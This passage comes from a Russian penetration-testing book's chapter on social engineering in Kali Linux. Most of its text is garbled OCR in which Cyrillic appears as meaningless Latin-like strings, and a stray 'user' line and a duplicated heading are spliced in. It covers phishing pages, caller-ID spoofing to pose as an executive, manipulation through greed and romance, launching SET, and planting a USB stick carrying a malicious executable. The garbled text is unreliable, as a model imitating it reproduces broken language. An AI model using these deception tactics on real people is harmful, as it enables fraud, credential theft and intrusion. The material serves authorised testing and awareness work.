J19. OCHOBHBbIE NPUHLATBI,
(hopmynupytoLLme Lenn n BuaeHme
couunanbHoro nHXxeHepa B Kali Linux

Coyuanvias unicenepuss 0O3HAYAET UCIIOJIH30BAHUE YEJOBEUECKUX cabocTeil st
noJydeHust NeHHOH nHpOopMalUu. ITO KU3HEHHO BasKHOE /LIS UCIIBITATENS Ha
IPOHUKHOBEHNE UCKYCCTBO 00OMaHa, KOTOPOE MPUMEHSIETC IPU OTCYTCTBUU MU
Hezocratke nndopmanuu o mean. Jliogun — nanbosiee ciaaboe 38eHO B oOeciieyeHun
6esonacHocTy 060 opranusauu. Mbl cyiecTBa 00IIeCTBEHHbIE, II09TOMY cCaMa
NPUPOJIA ETAET HAC YA3BUMBIMHU JIJIS ICUXOOTHYecKuX artak. ColmaabHble MHKe-
HEPBI UCIOJB3YIOT 9TH aTaKU JIJIS TTOJyYeHns KOHDUIeHnambHol nHdOpMaInm
WM JOCTYyIIa B OTpaHUYeHHble 30Hbl. Hampasienus aTak cOUaIbHOTIO HHKEHEPa
MOryT OBITH aOCOMIOTHO pa3anYHbIMU. Kakmoe n3 oTUX HampapIeHuil orpaHn4InBa-
eTCs TOJILKO BOOOpaskeHneM MHANBU/A, OCHOBAHHOM HA €T0 BJUSHUM U PE3YJIbTaTe,
KOTOPbIU Tpebyercs noay4uTh. B aT0ll riase Mbl 00CY/ UM OCHOBHBIE IIPUHIUIILL
U IeHCTBHS, KOTOPBIE IPUMEHIOT IIPO(eCCHOHANTbHBIE COLUANBHBIE NHKEHEPDI I
MaHUITYJIUPOBaHUA JIO/IbMHU, ‘ITO6]JI IOJMYYUTHh HYKHYIO UM I/IHCI)OpMaHI/IIO NJIN Bbl-
TIOJTHUTD OIIpe/ieJIEHHbIE [[eflCTBHH.
B aToii T71aBe MBI pACCMOTPUM CJIEAYIONTAE TEMBI.

Q OcHoBHBIE TICUXOJOTHYECKHIE ITPpUHITAIIBI, (bOpMyjII/IpyIOU_[I/Ie neJan n BUaeHume co-
IIMaJIbHOT'O MHyKEHEPa.

Q OO6uwmii mporece MCUXOJOrnYecKOl aTaKi 1 METO/bI COIUATbHOIN HHIKEHEPHH
C TIpUMepaMu U3 PeasbHOTO MUPA.

C Touku 3penust 6€30MaCHOCTH COIMATbHAS MHAKEHEPHS — 9TO MOIIHOE OPYIKHE,
KOTOPOE MCTIOIb3YeTCS /LT MAHUITYJIMPOBAHUS JTIObMU, 4TOOBI IOCTUYD JKeJaeMOI
nenn. Bo MHOTIX opraHu3anusax conuaabHas HHKEHEePUI MOKeT ObITh IIpUMEHeHa
Kak Juist obecriedeHrst 6e30MACHOCTU COTPYAHUKOB, TaK U JIJIs TIOJYUYeHUs 3HAHUI
0 denoBeveckux caaboctsax. ObpaTuTe BHUMAHNE, 9YTO METO/BI COUANBHON MHKe-
HEPHUU OYEHDb PACIIPOCTPAHEHDBI U MIPUMEHAIOTCA MHOTUMU JIIOAbMU, HAITPUMEDP HC-
TIbITATEJIAMN Ha IPOHUKHOBEHNE, MONIEHHUKaMM, BOpaMH, 1€JIOBbIMU TIapTHEPaMH,
BepOOBIIMKAMHU, [TPOIaBIIaMu, HH(MDOPMAITHOHHBIMU GPOKepaMHU, IITHOHAME, HE[0-
BOJIbHBIMU COTPYAHUKAMU U Ja’Ke JT€TbMU. Pa3HI/IH3 JINIID B IMIpUYMHAX, M3-3a KOTO-
PBIX JIIOJN UYT Ha O6MaH, a COIIMAJIbHbIEC MHKEHEPDI IPUMEHAIOT IIPOTUB 11€JI CBOU
3HAHUSI.


user
Л9. Основные принципы, формулирующие цели и видение социального инженера в Kali Linux
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TexHnyeckue ycnosus

Jluis aToli riaBel Bam noTpedyercs moceanss sepcus Kali Linux.

MoaennpoBaHMe NCUX0N0orum YyenoBeka

[TeuxomornyecKkne BO3MOKHOCTHU YENOBEKA 3aBUCAT OT TOTO, KAK OH BOCIIPUHUMAET
PEaNbHOCTD. A PeasbHOCTh BOCIIPUHUMAETCS TIOCPEACTBOM 3PEHMUS, CIyXa, 000HIHUS,
ocs3aHMs, a TakKe 6Jarogapst BAMSIONMM Ha YeToBeKa BHenrHuM custam. C moMOIbio
9TUX CUCTEM OPraHOB YYBCTB 1 BHEITHUX CHUJI Mbl 1 BOCIIPUHNMAEM BHEINTHU MUDP.

C TOYKU 3PpEHUA COHHaJIbHOﬁ MHKEHEPHUHN MbI MOKEM ITOJIYUUTDb JOIIOJTHUTEIbHYIO
uHdopMaIrio 06 HHTEPECYIOINEeM HaC YeIoBeKe, HaOII0/Iast 32 HUM B XOJI€ JIMYHOTO 00IIe-
HUSE MJTH €O CTOPOHBL. HaM Hy KHO HabM0AaTh 32 €r0 MUMUKO# B HEOKUIAHHBIX JIJIS HETO
CUTyalluAX, HAIIpUMEP CJIEANTDb, KaK OH OTpearupyeT Ha BOIIPOCHI UJIN YTBEPIKACHUA,
KOTOPBIX OH HE OKua (IBUJKEHHUE TJ1a3 U 4aCTOTa MOPraHus ), OTMEYaTh €ro IMOIUK
(yAuBJIEHNE, CUACTBE, CTPAX, MI€Ya/Ib, THEB UJIM OTBPAILIEHHE ), AHATUZUPOBATD JJOTUIECKUE
HECTBIKOBKY MJIU CIOBECHBIE PACXO/KACHMS, 4 TAKKE €T0 MoBeieHne. Yacto A1s oy yenust
KOHCI)HI[CHHHaﬂbHOﬁ I/IH(I)OpMaHI/II/I N JOCTYIIa B 30HBI OTPaHUYE€HHOTO /JOCTYIIa COIH-
ANbHOMY MHKEHEPY HEeOOXOMMO HANPSMYIO BOUTH B KOHTAKT ¢ OOBEKTOM. DTO MOKET
OBITH KaK JITYHOE ODIIeHNe, TaK U OOIIEHNE CPEACTBAME 3JIEKTPOHHON KOMMYHUKAITUL,

B peasbHOM MUpe 7151 BBITIOJHEHUS IAHHON 33/1a4¥ IPUMEHSTIOTCS [IBE 00TIHe TaK-
TiKK: cobecenoBanue u onpoc. OJIHAKO HA MPAKTUKE HA KAKLYI0 TAKTUKY BJIMSIOT TAKHE
(hakTOPDI, KaK OKPYIKAIOIAL CPEA, 3HAHNE e U CIIOCOOHOCTh KOHTPOJIMPOBATD CPELY
obutennst. T COBOKYyTHbIE (PaKTOPHI (KOMMYHUKAIMS, OKPY/KAIOIIAsA CPe/Ia, SHAHUS
U paMKH, OrpaHUYMBAIOIIMe COLUANbHOTO MHKeHepa) (hopMUpyIOT 6a30Bblil HAOOD
HABBIKOB 3((PEKTUBHOTO COIMATBLHOTO HHKEHEPa, TPeOyeMbIX /IS TPOBEICHUS aTaKH.
Best meAaTesnbHOCTD B 00/1aCTH CONMANbHON WHKEHEPUH OCHOBAHA HA JIOBEPUTETbHBIX
OTHOILIeHUAX. Ecau BbI He MOKeTe Ha/IaIUTh IPOYHbBIC JOBEPUTEJbHBIE OTHOHIECHW A
C TEIEBBIM 0OBEKTOM, TO, CKOPEE BCETO, OTEPIUTE HEYAAUY.

CoBpeMeHHasi coumanbHas MHXXeHepust — 3TO MoYTu Hayka. Obs3aTensHo
NnoceTuTe CaWT co3aaTenen CTPyKTypbl coumnanbHon uHxxeHepumn (http://
www.social-engineer.org/). MaTtepuansl onybnukosan Kpucrodep XagHarm
(Christopher Hadnagy), ynpasnsiowwmin 3TuM caiiToMm. C nomoLubto npeso-
CTaB/IEHHON 1M MHDOPMaLIMM Mbl MOXKEM pacckasaTb HALUKMM MOSb30BaTENSAM
M KIMEHTaM O MeTodax NPOBeAEHNs pa3HbIX NMCUXOOrMYeCcKMX aTak.

[lpouecc aTaku

Jlasiee omucaHbl OCHOBHbIE TIATH, HEOOXOAUMBIE JIJIsI Hayaia IICUXO0JOTUIeCKO ara-
KU Ha Bamry 11esib. [lokazaHHbIl 3/1ech METO/ JajleKO He eINHCTBEHHBIN U He CaMblil
ycnemHbiil. Ho, y3HaB 0 HeM, BbI [TOJIyYUTe [IPeICTaBIeHIe O COLMATIbHON NHKEHEPUH.
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C60p pasBei/IaHHBIX, BBISIBJICHUE YA3BUMBIX TOYCK, JIAHUPOBAHIE U BHITIOJTHEHIE
aTakyu — 9TO OCHOBHBIE IIIaTr¥, NPeANPUHUMAaEMble COMAJbHBIMU MHIKCHEPAMU JIJIS
YCIIENTHOTO MOJIyYeHUs HY>KHOH nH(pOpMAINU WK [OCTYTIA B 3alIPETHYIO 30HY.

Q Co6op passeggannbix. CylniecTByeT MHOKECTBO METOJ0B, C IOMOIIbIO KOTOPHIX
onpezessieTcss Hanboree TPUBJIEKATEIbHBIN JIJIsI KCIIBITATE ST HA TIPOHUKHOBEHUE
00BEKT. ITO MOKHO ClieJIaTh, COOpaB KOPIOPATUBHbIE aApeca 3JeKTPOHHON IIOYTHI
(MCT0Ib30BaB MHCTPYMEHT PACIINPEHHOTO MTONCKa). XOPOoIue Pe3yIbTaThl MOXKHO
MOJIyYHTh, COOPaB MEPCOHATIBHY0 UH(DOPMAIIIO O JO/sIX, pAOOTAIOINIMX B CAMOi
11eJIEBOM Opranu3anuu (B TOM YHCJE Yepe3 ColnaabHbie ceTr). JlomoaHuTenbHyI0
nH(OPMAITIIO BaM JIACT BBISIBJIEHNE CTOPOHHUX TIPOTPAMMHBIX TTAKETOB, UCIIOJIH3Y-
eMBIX B I[eJIeBOI opranusaiyu. He momeniaer u yuyactue B KOPIIOPAaTUBHBIX OM3HeC-
MEepOTIPUSTUSIX U BeUePUHKAX, a TakKe B KOH(MePeHIINSIX. JTO MO3BOJIUT BBISIBUTH
HanboJIee MOAXOAAIUI NCTOYHNK MHPOPMALINN.

O BsisiBieHHe yA3BUMBIX TOYEK. [locsie Toro Kak KIo4eBoil MCTOYHUK WH(MOPMAIINN
oTIpe/iesieH, CJelyeT IBUTATLCS Aallbllie, & UMEHHO YCTAHOBUTH /IOBEPUTEIbHbIE OT-
HOIIEHUSI. DTO HY’KHO, YTOObI B [1€JIEBOI OPTaHU3aINU He Y3HAJIN O BAIIX TTOBITKAX
MOJIy4eHUs KOpIIopaTuBHOM nHdopmMaiinu. B Tedenne Beero mporecca 0ueHb BasKHO
[IO/I/IEPsKUBATD BLICOKUI ypoBeHb CKpbITHOCTH. [Ipu noncke undopmaiinm xesnatesib-
HO TIOJIYYWTh CBEJIEHUsI O IPUMEHSIEMOM YCTapEBIEM IIPOrPAMMHOM 00€eCTIeueHn N,
KOTOPO€E MOJKET OBITH MCITOIB30BAHO /IS TOCTABKY BPEAOHOCHOTO KOHTEHTA TTO
9JIEKTPOHHOM 110uTe 1 yepe3 VHTepHeT, 4To, B CBOIO O4epe/ib, II03BOJIUT 3aPa3UTh
KOMIIBIOTEP /I0BEPEHHON CTOPOHDIL.

O IlranupoBanue ataku. Kak oprann3oBaTh aTaky Ha HHTEPECYIONNH BaC 0GBEKT — BbI-
6uparb BaM. Bel MoskeTe MORTH Ha JITYHOE OOIIEHE C TIENEBBIM OOBEKTOM, & MOKETE
u36paTh MACCUBHbII METOJI, C TIPUMEHEHUEM JIEKTPOHHBIX cpeicTB. OCHOBBIBASICH HA
BBISIBJIEHHBIX YSI3BUMBIX TOUKAX BX0/Ia, MOKHO JIETKO OIPEEJIUTD Iy Th ¥ METO]] aTa-
ku. CraskeM, HAUTH APYIKETIOOHOTO TPEICTABUTES CIIY/KOBI MOANEPIKKN KIMEHTOB,
Harpumep Boba, KOTOPBIi, He CO3HABASI TOTO, YTO MOJKET TIPUHECTU BPEJl OPraHu3a-
1, 6e3 COTJIACOBAHUS € BBICIINM PYKOBOJICTBOM OY/IET 3aITyCKATH TTOJYIEHHBIE TT0
AJIEKTPOHHOI MTOUTE BPeIOHOCHBIE (PaiJIbI.

O Hcnoanenue. /[J1 3aKI0YUTEIBHOTO HTANa BaM MOHAL00ATCSA PENIUTEIBHOCTh
U TepIieHne, KOTOPbIe TI03BOJISAT BaM KOHTPOJMPOBATH X0/ ATAKU U OI[EHUTH MOJTY-
JeHHble pe3ysbTaTbl. Ha aToM aTare coluanibHbIM HHKeHepaM OTPeOYIOTCs 10CTa-
TOYHOE KOJIMYECTBO HH(POPMAIIUK 1 IOCTYTI K COOCTBEHHOCTH 00BEKTA, UTO, B CBOIO
o4epe/ib, JaCT UM BO3MOKHOCTD B JlabHEHIIEM TIPOHUKHYTh B KOPIIOPATUBHbBIE
akTuBbL [IpU yCIIenHOM BBIOJTHEHUN STON 3a/1a41 TIPOIECC IKCILTyaTalluy 1 IPH-
obperenust GyIeT 3aBEPIIIEH.

MeToabl aTaku

CylecTByeT IeCTh METOA0B, KOTOPBIE BbI MOKETE IIPUMEHUTD K 00beKTY. OHU IOMOTYT
BaM B OOIIIEHUHU U MOATOTOBKE 00bEKTA K 3aKIIOUNTEIBHON onepariuu. MeToibl Kiaccu-
(bumpoBaHbl 1 OTIMCAHBI B COOTBETCTBUH C MX YHUKAJIBHBIM IIPECTABICHIEM B 001acTh
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COTMATBHON MHKeHepUH. MBI TaksKe BKIIOUNIIN HECKOJIBKO TIPUMEPOB, YTOOBI TOKA3aTh
BaM peaJibHBIN ClieHApUI IPUMEHEHMST KaskI0T0 13 BBIOPAHHBIX METOOB. IToMHMTE, 4TO
OCHOBY 3TUX METOJIOB aTAKU COCTABJSIOT IICUXOJ0rnYeckue hakTopbl. YToObl METOIbI
crasu GoJiee 3 HEKTUBHBIME, UX HEOOXOMMO PETYJISIPHO COBEPIIEHCTBOBATD.

MNoapaxkaHue

Yro6bl 3aBOEBATD AOBEPUE 3AUHTEPECOBABIIETO OOBEKTA, 310y MBIILIEHHUKU OYIyT IPU-
TBOPSITHCS, TOJCTPANBASICh MTOJI HHTEPECHI T1eIEBOr0 00bekTa. Hampumep, 4To0bI 0Ty -
YUTH KOH(UAEHIHATbHDIE JAHHbIE, TAKUE KaK JIOTHH U ITapOJIb, JaHHBIE JTUIIEBBIX CIETOB
1 GAaHKOBCKUX KapT, UCHOJIb3YIOT (GUIMHT (OAUH U3 BUAOB UHTEPHET-MOIIEHHUYECTBA,
KOT7Ia TPUMEHSIOTCS MaCCOBBIE PACCHIJIKU OT UMEHU TIOTTYJISIPHBIX KOMITAHUH WA OPTaHy-
3aIlMid, COAEPIKAIINX CCBIIIKHU HA JIOJKHBIE CANTDI, BHEIITHE HEOTJUUNMbIE OT HACTOSIIINX ).
Yto6bl peau30BaTh 9TOT METOJI, 3JI0YMBIIILIEHHUK CHAYA/Ia COOMPAET ajipeca 3IeKTPOHHOI
IIOYTHI LIEIEBOTO OOBEKTA, 4 3aT€M IIOATOTABINBAET MOIIEHHITYECKYIO CTPAHUILY, KOTOpast
BBITJISIIAT W (DYHKITMOHUPYET TOUHO TAK JKe, KAK U HACTOSIIIIUI CaliT.

[TocJte TOrO KaK 3JI0YMbINLJIEHHUK MTOJITOTOBUT BCE HEOOXOIAMMOE, OH OTIIPABJISIET
oduIMaIbHOE dJIEKTPOHHOE MUCHMO (HaIlPUMep, KacaTeIbHO AaHHbIX 00 yYeTHOMU 3a-
[UCH), KOTOPOe sIKOOBI HAXOJMUTCS Ha caiiTe MCXOAHOTO GauKa. [IJist TIOATBEP K ICHST
9TON MH(pOPMAINK B TIUChME COJAEPKUTCS MPOCchba MEPENTH 0 CCBIJIKE, YTO, B CBOIO
ouepe/ib, PEAOCTaBUT 3I0YMBIILIEHHUKY aKTyaJbHY10 GaHKOBCKYIO HH(MOPMAIHIO.
O6J1a1a51 XOPOIIMMHU HAaBbIKAMK PAOOThI ¢ BeO-TEXHOJIOTUAMU U UCIIOJIb3Y S [IE€PELOBbIe
WHCTPYMEHTHI (Harpumep, SSLstrip), coruaapHblil MHKeHep MOKET JieTKO 1 9 peKTnB-
HO aBTOMATU3UPOBATh 3Ty 3a1a4y. Ecii BbI cOOUPAeTeCh JIMYHO BCTPETUTHCS € I[EJIEBBIM
00BEKTOM, MOKETE IIPEACTABUTHCS €My PAOOTHUKOM OaHKa.

B3anMHbIM 0OMeH

AKT oOMeHa ycjryraMu JUIs oJlydeHust 0O0I0[HOI BBIFObI U3BECTEH KaK B3aMMHBIN
00MeH. ITOT METOJI B COLMAJIbHON MHKEHEPUH MOKET BKJII0YATh CJIydailHble 1 J0JIro-
CpOUHbIE JIeJIOBble OTHOIIeHUsI. Ha ocHOBaHWU JJOBEPUTENbHBIX OTHOIIEHUN OJIUH U3
MAPTHEPOB VIS OJTyYeHUsT He0OXOANMON MHPOPMAIIMN JOJIKEH MTPEA0CTABUTD IPYTOMY
4yT0-TO B3ameH. Hanpumep, Bob asisercs npodeccroHanibHbIM XaKepoM U XOUeT 3HATh
o0 noJsimTrKe husndyeckoil 6ezonacHoctu B opricHoM 3xannu komnanun ABC. TiareibHo
M3YYUB BOIIPOC, OH pelraeT pazpaboraTh CailT 10 MPpoJaske aHTHKBaprara 10 CHUKEeH-
HBIM 1eHaM. Bo0 3Haer, 4To aTOT caiiT npusjeder k cebe BHUMaHKUE ABYX COTPYAHUKOB,
paboTaronux B 9ToM oduce.

MbrI nipesmiosiaraeM, uto Bob yike 03HAKOMUJICS ¢ JIMUHOM wHMOpPMAInei aTHX co-
TPYAHUKOB, BKJTIOYAS a/Ipeca 3JIEKTPOHHOM TTOUTHI, TIOCEIaeMble MU HHTEPHET-(DOPYMBI
U collhajibHbIe CeTH U T. [ Asrca, OyAy4Yr OAHUM W3 9TUX COTPYAHUKOB, HAUMHAET
PETYJISIPHO TIOKYTIATh BEIH, IIPeJlaraeMble TO/IeTbHBIM CalTOM, U CTAHOBUTCS JIJIST
Bob6a riaBHoii 1iesibro. M HactaeT MoMeHT, Korga Bo6 MoskeT IpeyIoKUTh YHUKAJIbHYO
AHTUKBAPHYIO Belllb B 00MEH Ha HEOOXOMMY10 eMy HH(popMaiuio. Bocroib30BaBImch
4eJI0BEYECKOil ¢1aboCThio, a UMEHHO yBJIedeHrueM AJIMChl aHTUKBAPHBIMU BELaMU, OH
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HUIIET eif MUChMO U IIPOCUT B 0OMEH Ha YHUKAJIbHYIO aHTUKBAPHYIO Belllb pasy3HaTh
JeTaj HoauTUKK pusndeckoii 6esonacHocT kKomnannu ABC. TToazaBiimch nckyiie-
HUIO ¥ 1103a0bIB IIPO HOPMbI KOPHOPATUBHOMN STUKK, OHA BbIAET HYKHYI0 HH(DOPMAIIHIO
Boby. 10 10Ka3bIBAET, 4TO B JOCTHKEHUK CBOEH 1EJIM COLUAIbHOMY MHKEHEPY MOKET
MTOMOYb CO3/[aHUE UCKYCCTBEHHOH, (haIbITUBOI CUTYAIIUN: KOT/IA 3JI0YMBITIJIEHHUK HC-
MOJIB3YET YBJIeUEHUE COTPY/THUKA JIJIST TIOJIydeHUsT KOH(UIEHITMATBHON HH(MOPMAITUH.

BnnaHue aBTopuTeTa

MeTos aTaku, KOT/Ia YeT0BEK MAaHUTTYIUPYeT (HYHKITHOHATBHBIMI 00SI3aHHOCTSIMI 00h-
€KTa, U3BeCTCH KakK amaxa asmopumemonm. Taxoil BUJ IICUX0JIOTNYeCKON aTaky HHOT/a
SIBJIIETCS YACTHIO METO/IA EPEBOILIONIEHUS. B GOIBITMHCTBE CBOEM, BBITIONHSIS Py THH-
HyI0 paboTy, JIIOAN IeHCTBYIOT aBTOMATHIECKH. 1, KOT/Ia TIOSIBAISIETCST HOBAsT MHCTPYK-
18], OTIPaBJEHHAst SKOOBI OT UMEHU BBICIIETO PYKOBOJICTBA, YeJOBEK, MHCTUHKTUBHO
MOHMMas MaryOGHOCTh CBOUX AEHCTBUIL, HO HAXOMSICH MO/ BIUSHUEM aBTOPUTETA, BCE
PaBHO BBITIOJHSET MOJTYYECHHDBIE YKa3aHUs. JTO JeJaeT HAaC BCeX YSA3BUMBIMU Tepe]
olIpe/ie/IeHHBIMU YTPO3aMHU.

ITpencraBum cebe, UTO KTO-TO JI7IsT TTOTYUEH ST TAHHBIX 00 ayTeHTH(HUKATINT BRIOPAT
B KauecTBe 0OBEKTa CETEBOTo aMUHKUCTpaTopa KoMmanuu XY Z. Uto6bl 0CyIecTBUT
3alyMaHHOE, 3MOYMBITIIEHHIUK, UCTIOIB3YsT METO/T B3AUMHOTO 0OMEHa, TTOJIyYaeT Tese-
(bonHbIe HOMEPA aIMUHUCTPATOPA U TeHEPATHHOTO AMPeKTOpa Kommanuu. /lasee, ¢ o-
MOII[bIO CepBHCa MTOIMEHBI BBI30BOB (HalpuMep, www.spoofcard.com) 3J10yMBIIIJICHHUK
3BOHUT CETEBOMY aIMUHUCTPATOPy. CeTeBoii a/IMUHUCTPATOP BUIUT, YTO 3BOHOK I10-
CTYTIUJI OT T€HEePaJbHOTO AUPEKTOPA, U CUYUTAET ero mpuoputeTHuIM. 1o BangHnem
ABTOPWTETA TEHEPATHHOTO TUPEKTOPA (BEb PAOOTHIK CUMTAET, UTO OOTIAETCS MMEHHO
C HUM) CETEeBOM aIMUHUCTPATOP BBIIAET CEKPETHYIO MH(OPMAIIUIO.

Ncnonb3oBaHme XaaHOCTH

OnuH 13 caMbIX GOJIBIIUX YEJIOBEUECKUX TIOPOKOB — JKAIHOCTh., MeTO/ UCIIOIb30Ba-
HUSI 9TO He OYeHb XOPOIIIeii 4epThl XapaKTepa OMUCHIBAET CIIOCOD MONTYYEHNsT HYKHOI
nHbopManuu. 3HaMeHuTasa Huzeputickas agepa 419 (www.419eater.com) saBisseTcs
TUMTUYHBIM TPUMEPOM TOTO, KaK MOKHO BOCITOJIb30BATHCS Y€JI0BEYECKOM JKATHOCTHIO.
PaccmoTpuM Takyio cutyaruio: bob mianupyer cobupath JUUHYI0 WHGOPMATIAIO
OT cTyZieHTOB YyHUBepcuTera XYZ. MbI npejiosaraem, 4To y Hero yke ecTb ajpeca
9JIEKTPOHHON MOYTHI BCEX MHTEPECYIONIUX €ro CTyeHTOB. [lajsee on pazpabarbiBaer
coob1iieHne, B KOTOPOM BCEM CTyIeHTaM yHuBepcuTeTa XY Z Tpe/iaraloTcst Baydepbl
C palKaJIbHBIMU CKMKaMu Ha iPod, u nepezaer ero 1o siekrponHoil noure. Ho 3a sTo
CTyJIEHTaM HYKHO coo01uTh BoOy cBoI0 inunyio uadopMmanuio (nMsl, ajgpec, TejedoH,
JIaTy POKAEHMs], HOMEP Macropra u T. /1.). II0CKOIbKY BO3MOKHOCTD GECIIIIATHO TI0JTY-
YHUTh MOCTEAHIO0 MOozeb 1Pod Ist 11eIeBbIX CTYIEeHTOB Obla TIATEJbHO TPOCYNTAHA,
MHOTHME U3 HUX MOTYT IIOIIacTbcs Ha aTy adepy. B koprioparuBHoM MUpPe TaKOH MeTO[|
ATaK MOJKET OBITh PACIIMPEH JIJIsI MAKCUMU3AINN KOMMEPYECKON BBITO/BI U IOCTUKE-
Hug 6uszHec-1esel.
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HanaxxvBaHue coumanbHbIX B3aVMMOOTHOLUEHWN

Bcem HaMm HeobxouMa onpeseseHHas (hopMa conUaIbHbIX OTHOUIEHUH, YTOOBI MBI
CMOTJIH TIO/IEJIUTHCSA C KEM-TO CBOMMM MBICJIAMH, YyBCTBaMU U upesmu. Hanbosee
YSA3BUMOHN 9acThIO JT060# COMMANBHON CBSI3U SIBJISIETCS] CEKCYATbHOCTh., BO MHOTHX
CAyYIassxX MY;KUMHBI W KEHIITUHBI TIPUBJIEKAIOT IPYT IpyTa. barogaps asToMy CHIBHOMY
YYBCTBY U JIOKHOMY YYBCTBY /IOBEPUS Mbl HellpelHaMePeHHO MOKEM PACKPLITh CEKPeT-
nyio urdopmaiuio. EcTb HeCKOJIbKO COIMAIbHBIX OHJIAMH-1I0PTAJIOB, T/€ JIOAN MOTYT
noobmarbest. K rakum pecypeam ornocarcest Facebook, MySpace, Twitter u Orkut.

Jomyctum, komnanus XY Z mansaiaa Boba, 4ToObI TOT A7 JOCTHKEHHS YCTONYNBOTO
KOHKYPEHTHOTO TIPENMYIIeCTBA Pady3Has 0 (hMHAHCOBOM M MAPKETUHTOBO CTpaTeTun
kommatnun ABC. Bo6 nmpocMaTpuBaeT CIMCOK COTPYAHUKOB M HAXOAUT JAEBYIIKY TI0
uMeHH AJirica, KOTOpas OTBEYAEeT 3a BCe JeIOBbIe onepaiu. IIpuTBopsisich 0OBIYHBIM
BBITTYCKHUKOM, OH TIBITAETCST HATIAIUTH C Hell oTHOIeHust (Hampumep, yepe3 Facebook).
Bo6 HaMepeHHO CO3/IaeT CUTYAIIUH, T/Ie OH MOJKET CTOJIKHYThCs ¢ Ascoit. Hampumep,
B TaHIIEBAJILHOM KJIy0e Wi Ha My3bIKaibHOM (hectuBasie. Korga oH BoiieT B 0Bepue,
OH HAYHET PETYJIIPHO BCTPEYATHCA ¢ ATMCON. JTa MPAKTUKA MO3BOJIUT €MY TOJIy9aTh
TI0JIE3HBbIE CBE/IEHUS O (DMTHAHCOBBIX K MAPKETUHTOBBIX TiepcrekTrBax kommanuu ABC.

[TomMHUTE: YeM JIydllie OTHOIIEHMsI, TeM OGOJIBIIE JOBEPHUE 1, CJIe0BATEIBHO, GOJIbIIIE
nHgopMaluu 1ocTynaeT OT UCTOYHUKA. B cieylolem pasjiesie Mbl pacCKaskeM O He-
KOTOPBIX MHCTpyMeHTax, Harpumep SET, obierdatomux sty 3ajgaqy.

Cuna nobonbITCTBa

Ectb crapast morosopka: mobonsiTHoi Bapsape Ha 6azape Hoc 0TOpBaju. DTo MpenocTe-
PEKEHME JIO/SIM, YTO WHOT/IA HAllle cCOOCTBEHHOE JIIOOOMBITCTBO HEpPeT HaJl HAMU BEPX.
Ha pa6ore ecTb MHOrO MHTEPECHON HHGOPMAIUY, ¢ KOTOPOII HAM TOXKE XOTEN0CH Obl
03HaKOMUTbCA. Harpumep, HaM UHTEPECcHO, CKOJIBKO TI0JIyYaeT TeHepaIbHbIN IUPEeKTop,
KTO TIOJIyUYHT TIOBBITIIEHUE, @ KOTO YBOJIAT. B pe3ysibrarte comuaabHble MHKEHEPHI MOTYT
HCTIOJIB30BATH ITO ECTECTBEHHOE JOOOMBITCTBO MPOTHB Hac. Hac MOTYT co6Ia3HUTh
CCBIJTKOH B 3JIEKTPOHHOM TT0YTE, SKOOBI BINEl K CaiiTy cO CIIETHAME O 3HAMEHUTO-
cTAX. MBI MOKEM <«KYIHUTBCSI» Ha JOKYMEHT, B TeJle KOTOPOTO €CTh BPEJIOHOCHDBIN KO/,
B CBOIO 04epe/ib CTaBAIIMH M0/ yTpo3y Hallly cuctemy. VcmbiTaTesnu Ha IPOHUKHOBEHME
MOTYT HCIOJIb30BATh HAIIE JIOOOIBITCTBO JIJIst OPTAHU3AIINY CEPUN PA3IUNIHBIX ATaK.

MHCTPYMEHTbI COLIMANbHOW UHXEHEPUW

Hucmpymenmuot couuanrvnot unacenepuu (Social Engineering Toolkit, SET) — ato
MHOTO(DYHKIIMOHAIbHBINA COBPEMEHHBIN U TIPOCTOI B UCIIOJAB30BAaHUU HAOOD UHCTPY-
menTOB. SET cosnan yupeaurensmu kommanuu TrustedSec (https://www.trustedsec.com/).
On nomozkeT BaM mogo6parte Harbosee 3G EKTUBHBII CII0C00 UCIIONb30BAHNUS YA3BH-
MOCTEH KJIMEHTCKOrO MPUJIOKEHHUs. ¥ HOIPoOoBaTh 3aXBaTUTh KOHMDUAECHIIUATIBHYIO
uH(bopMaIuio 1eu (HalpuMep, mapoJiu aJIeKTPOHHON moutkr). Hanbosee neiicTBeH-
HBII METOJI aTaKu — PaCChlIKa (PUITMHTOBBIX TTUCEM C BPEJOHOCHBIM BJIOJKEHUEM.
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Ouenb 2 PekTUBHBI Java-aniieThl, BCTPOEHHbIE B (hails, KOTOPHIH, B CBOIO OYEPE/b,
coxpansercs Ha nepeHoctHoM Hocuresie (USB wiu DVD/CD). KoMOuHUPYST METOIbI
aTaku, BBI TIOJYYUTE MOTIHYTO MIAThOPMY /ISt CIOTb30BaHUs 1 BhIOOpa Hanboee
yOenUTETBHON TEXHUKH.

g sanycka SET BeiGepute B OCHOBHOM MeHIO IyHKThI Applications » Exploitation
Tools » Social Engineering Toolkit (ITpunoskerns » MacTpymenTst akcruryatanmm » MHCTpymen-
TbI COIIMAJILHON WHKEHEPUN ) UM BBEAUTE B KOMAH/IHO CTPOKE TePMUHAJIA KOMAHLY:

root@kali:~# setoolkit

SET Gyzer sarmyliieH, U B TEDMHUHAJE TTOSIBSATCS €TI0 JIOTOTHIL, WH(MOPMAIIUS 1 Mapa-
METPBbI, KOTOPbIe MOKHO ITPUMEHUTH IIPH 3aITycKe HY>KHBIX NHCTPYMeHTOB (puc. 7.1).

roct@kali: ~ e @ o

File Edit View Search Terminal Help

Welcome Lo the So Enginear
The vne stop shop for &l1 of your SE needs.

Juin us ovn irc.free nel in channel

The Social-Engineer Toolkil is a producl ol TrusledSec.

Visil: hilps://wew. Lrusledsec. com
Selecl from the menu:

1) Sovcial-Engineering Atlacks

2] 3 nalratiovn Testing
3) Ly M
4) Updale Lhe So near Toulkit
5) Update SET configuration

6) Help, Credits, and Aboul

89) Exil the Svcigl-Engineer Toolkit

sal> I

Puc. 7.1. SET 3anyweH
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Yro6bl COBEPIINTH 0OPATHBIN BBI30B U3 TEJEBON CUCTEMBI, MBI B HAIIIEM TECTOBOM
YIPaKHEHUH BOCTIONB3YEMCS JIIOOOTIBITCTBOM COTPYAHUKOB TIEIE€BOI OpraHU3aluu.
L7151 9TOTO MBI C TOMOIIIBIO HMHCTPYMEHTOB COIMATBHON MHIKEHEPHH CO3/IaJIUM UCIIOJ-
HsaeMbIil Gaiia u 3anuinem ero Ha USB-ycrpoiictBo (diieniky). 3ateM Mbl 9Ty (JIeITKy
OCTaBWM T7ie-TO B opraHusaiiu (sKo6br 3a6y/em win orepsieM ). Ckopee BCero, KTo-To
U3 COTPYIHUKOB, OOHAPYKUB Ty (QJICITKY, 3aX0UET Y3HATh, YTO HA HEH, ¥ MOAKIIOUUT
ee K KOMITBIOTEPY Ha CBOEM paboueM MecTe.

